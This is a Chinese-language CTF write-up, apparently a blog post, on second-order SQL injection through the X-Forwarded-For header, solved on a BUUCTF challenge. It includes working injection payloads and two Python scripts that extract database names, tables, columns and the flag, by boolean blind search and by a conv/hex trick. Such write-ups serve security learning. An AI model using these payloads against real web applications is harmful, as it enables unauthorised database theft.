前言
最近真属于是”多事之秋“了,平常不留作业的课最近都破天荒的留了作业。最近做题目的节奏又被打乱了,哎无语。之后想写一篇关于flask的文章,不知道什么时候才有机会,现在还是以sql注入为主。不说了,先看题吧。
正文
这道题又是二次注入的题目,但是注入点较之前的注入点位有很大的不同。这次的注入点在数据包头的XFF字段。
那么如何进行二次注入呢?请考虑如下代码
select '0'+(length(database())>0)+'0' from user
如果我们将上面的查询语句提前插入了数据库中,当我们再次调用该字段的时候就可以触发该查询语句,并返回查询的值。
我们发现一个问题,在我们改写XFF字段的时候,响应中的Current-IP字段就会发生变化,同时Last-IP就是我们之前上一个XFF字段的值。那么这个Last-IP字段的值是从哪里来的呢?很明显是我们第一次输入后,然后被被服务端存进数据库,我们第二次输入了一个不同的XFF,导致服务端需要回显Last-IP,所以他就会去数据库中去找这个刚被存进去的数据。那么,如此分析下来,我们可以基于此进行二次注入了。
我们先用0'+(length(database())>0)+'0
进行测试。
(第一次发包)
(第二次发包)
(第三次发包),XFF字段不必与上一次的相同
我们看到在我们最后一次发包后,我们得到了我们应该得到的结果,现在就可以开始编写脚本了。
import requests
def start_ascii():
result = ""
url = "http://node4.buuoj.cn:28741"
for i in range(1,300):
low = 32
high = 128
mid = (low + high)//2
header = {
"Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1",
"X-Forwarded-For":""
}
while(low < high):
# payload = "0' + ascii(substr((select group_concat(schema_name)from information_schema.schemata), % d, 1)) > % d + '0"%(i,mid)
# payload = "0' + ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=('F4l9_D4t4B45e'))),{},1))>{} + '0".format(i, mid)
# payload = "0' + ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('F4l9_t4b1e'))),{},1))>{} + '0".format(i, mid)
payload = "0'+ ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{}+'0".format(i, mid)
header["X-Forwarded-For"] = payload
test = "33333"
res = requests.get(url, headers=header)
header["X-Forwarded-For"] = test
res = requests.get(url, headers=header)
res = requests.get(url, headers=header)
# print(res.text[-5])
if '1' == res.text[-5]:
low = mid + 1
else:
high = mid
mid = (low + high)//2
if mid == 32 or mid == 127:
break
result = result + chr(mid)
print(result)
if __name__ == "__main__":
start_ascii()
爆库名
爆表名
爆列名
爆flag
这样我就拿到flag了。
我上面的做法,是最经典的bool盲注。但是对这道题而言,既然它可以回显那为什么我们不用他所给的回显”告诉“我们flag是什么呢?思路来源https://lethe.site/2019/10/21/RoarCTF-Web-Writeup/#online-proxy
0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),1,5)),16,10)+'0
通过这个payload我们可以拿到前五个字符的整数形式,只需要再让它转换成16进制进而变成字符就行了。我们先来测试一下:
(第一次发包)
(第二次发包)
(第三次发包)
我们用python把他转化一下
import binascii
print(hex(452823773042))
print(type(452823773042))
all_result = binascii.a2b_hex(hex(452823773042)[2:]).decode('utf8')
print(all_result)
有了测试结果,有了数据处理的代码段,接下来就是编写脚本。
import requests
import binascii
def start_ascii():
result_final = ""
url = "http://node4.buuoj.cn:28741"
for i in range(1,300,5):
header = {
"Cookie": "track_uuid=7e9619d8-6818-4a97-8026-8f624aef3e56;IS_STATIC=1",
"X-Forwarded-For":""
}
payload = "0'+conv(hex(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},5)),16,10)+'0".format(i)
header["X-Forwarded-For"] = payload
test = "33333"
res = requests.get(url, headers=header)
header["X-Forwarded-For"] = test
res = requests.get(url, headers=header)
res = requests.get(url, headers=header)
result = int(res.text.split(" ")[-2])
tra_result = binascii.a2b_hex(hex(result)[2:]).decode('utf8')
# location = res.text.find("Last Ip: ")
# print(location)
result_final += tra_result
print(result_final)
if __name__ == "__main__":
start_ascii()
脚本的运行结果如下
这里想说一点,我在一开始的时候,尝试让数据库给我返回十六进制的数据,但是失败了仅有一次返回成功却还是科学计数法。所以这里一定要用conv转换成十进制。
后记
这次又从不同的大佬那里学到了新的姿势,真是受益匪浅。只是这题目设计的总会让我想起SSRF,又是url,又是可以从外边请求连接的,怪起来了。XFF字段的注入还是有点东西的,以后还是要接着学习注入点的位置。